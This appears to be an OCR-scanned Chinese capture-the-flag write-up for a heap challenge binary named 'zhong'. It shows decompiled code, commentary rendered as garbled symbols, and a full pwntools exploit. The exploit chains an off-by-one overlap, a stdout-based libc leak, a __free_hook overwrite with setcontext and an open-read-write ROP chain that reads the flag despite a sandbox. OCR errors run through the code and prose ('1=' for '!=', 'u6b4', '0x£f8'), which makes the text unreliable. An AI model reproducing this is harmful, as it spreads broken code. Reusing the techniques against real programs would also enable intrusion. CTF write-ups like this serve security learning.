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[*] '/home/rencvn/Desktop/chuti/zhong/zhong’
Arch: amdb4-64-1little
RELRO:

Stack:
NX :
PIE:
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setvbuf(stdin, OLL, 1, OLL);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
sandbox () ;
puts("Welcome to pwnworld\n");
menu();
__1s0c99 scanf("%d", &v3);
if (v3 1= 2)
break;
show();

}
if (v3 > 2 )
break;
if (v3 1=1)
goto LABEL_13;
add();
}
if ( v3 == 3 )
{
edit();
}
else
{
if (v3 1= 4)
LABEL 13:
exit(1);
del();
}

readfsqword(0x28u) ;




F
2;
v10 -1073741762;
vlil 32;
v12 X
vl1l3
vlid
v15
v16
v1l7/
v18
v19
v20
v21
VY
v23
v24
v25 0;
v26 2147418112,
vl = 6;
v2 = &v3;
prctl(38, 1LL, OLL, OLL, OLL);
prctl(22, 2LL, &vl);
return _ readfsqword(0x28u) ~ v27;

EMBEFRFETIVME, ZHBexecv, FAIUENIRBEEITorwxiEflag




unsigned _ int64 edit()

{
size_t v@; // rax
int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = _ readfsqword(0x28u);
puts("Which one?");
__1s0c99 scanf("%d", &v2);
if (v2 <0 || v2>6 || '*((_QWORD *)&heap_list + v2) )
{
puts(”"You can't do that");
exit(1l);
}
puts(“content:");
vl = strlen(*((const char **)&heap list + v2));
read(0, *((void **)&heap_list + v2), vO);
return _ readfsqword(0x28u) * v3;

editRFEH I offoyonel®E, HATATBEEHN—1FT, #HiFT—T#RNsize, MELE—
overlap, =EHNTETthiFoverlapH#ERAfAIEH BN AT

int show()

{

return puts(“nonono");

FHEREFEEIEshowR R, FIUARMNBEMISE —TRRMER, BE#HEunsortedbin, FIMMNFRE, %8
FHRofdigt, M RBERS T stdoutXittiwithtlt,

m&faexp

#!/usr/bin/env python
#coding=utf-8

from pwn import*




while True:

try:

io = process('./zhong')
elf = ELF('./zhong')
libc = ELF('/1lib/x86 64-linux-gnu/libc.so.6"')

context(log_level='debug',os='linux',arch="amd64")

def choice(c):
io.recvuntil("4:Drop one")

io.sendline(str(c))

def add(index,size,content):
choice(1)
io.recvuntil("?")
io.sendline(str(index))
io.recvuntil("size:")
io.sendline(str(size))
io.recvuntil("content:")

io.send(content)

def edit(index,content):
choice(3)
io.recvuntil("?")
io.sendline(str(index))
io.recvuntil("content:")

io.send(content)

def free(index):
choice(4)
io.recvuntil("?")

io.sendline(str(index))

for i in range(7):

add(i,0xe0, "'ARAAA")

for i in range(7):

free(i)

add(0,0x68, 'C'*0x68)

add(1,0x58, 'DDDD')

add(2,0x68, 'XXXX')

add(3,0x68,p64(0) + p64(0)+p64(0xf0) + p64(0x51))
add(4,0x68, 'GGGG')

edit (0, 'A'*0x68 + '\xfl')

free(2)
free(l)



add(2,0x58,"'j ' *0x58)

add(1,0x20, '\x60\xe7")

edit(2,'j'*0x58 + '\x71")

#gdb.attach(io)

add(5,0x68, '1111")

add(6,0x68,p64 (0xfbad1800)+p64(0)*3+b'\x00")

leak = u6b4(io.recvuntil('\x7f"')[-6:].1just(8,b'\x00"))
libc_base = leak + 0x38 - libc.sym[' free hook']

fh = leak + 0x38

system = libc _base + libc.sym['system']

setcontext = libc.sym[ 'setcontext'] + libc_base +53
syscall = next(libc.search(asm("syscall\nret")))+libc base
success( 'leak ==> hex(leak))
hex(libc_base))
hex(fh))

success( 'libc_base ==>

success('free_hook ==>

+ 4+ o+ o+

success( 'system ==> ' hex(system))

free(5)

add(5,0x50, 'AAAA")

free(5)

free(2)

free(4)

free(3)

free(1)

add(2,0x£f8, 'A'*0x£f8)

add(3,0x48, 'A'*0x48)

add(4,0x48, 'A'*0x48)
edit(2,'/bin/sh\x00'.1just(0x£f8,b'\x00"')+b'\xal")
free(3)

free(4)

add(3,0x90, (b'A"*0x40 + p64(0) + p64(0x51) + p64(fh)).1ljust(0x90,b'A"))
add(5,0x48,b'A"'*0x48)

add(1,0x48,p64 (setcontext))

#gdb.attach(io)

add(4,0xf0,b'A"'*0x£f0)

frame = SigreturnFrame/()
frame.rsp = (fh&Oxfffffffffff££000)+8
frame.rax = 0

frame.rdi = 0
fhaOxfEffffFFFEEEEF000
0x2000

frame.rsi

frame.rdx

frame.rip syscall

edit(5,bytes(frame)[0:0x407])
edit(4,bytes(frame)[0x50:0x50+0x£0])



free(5)

layout = [next(libc.search(asm( 'pop rdi\nret')))+libc_base

yEhaOxfffFFFFFFFEFEFO000

,next (libc.search(asm('pop rsil\nret')))+libc_base
,0

,next(libc.search(asm('pop rdx\nret')))+libc_base
,0

,next(libc.search(asm('pop rax\nret')))+libc_base
,2

,syscall

,next(libc.search(asm('pop rdi\nret')))+libc_base
03

,next(libc.search(asm('pop rsil\nret')))+libc_base
, (Eh&OxfffffFEFEFFFF000)+0%x200

,next (libc.search(asm( 'pop rdx\nret')))+libc_base
,0x30

,next (libc.search(asm( 'pop rax\nret')))+libc_base
,0

,syscall

,next (libc.search(asm( 'pop rdi\nret')))+libc_ base
gl

,next (libc.search(asm('pop rsi\nret')))+libc_base
, (Eh&OxfffFfFEFEFFFFO000)+0%x200

,next (libc.search(asm('pop rdx\nret')))+libc_ base
,0x30

,next (libc.search(asm('pop rax\nret')))+libc_ base
,1

,syscall]

shellcode=b'./flag'.ljust(8,b"'\x00')+flat(layout)

io.sendline(shellcode)

io.interactive()

except Exception as e:

io.close()

continue
else:

continue



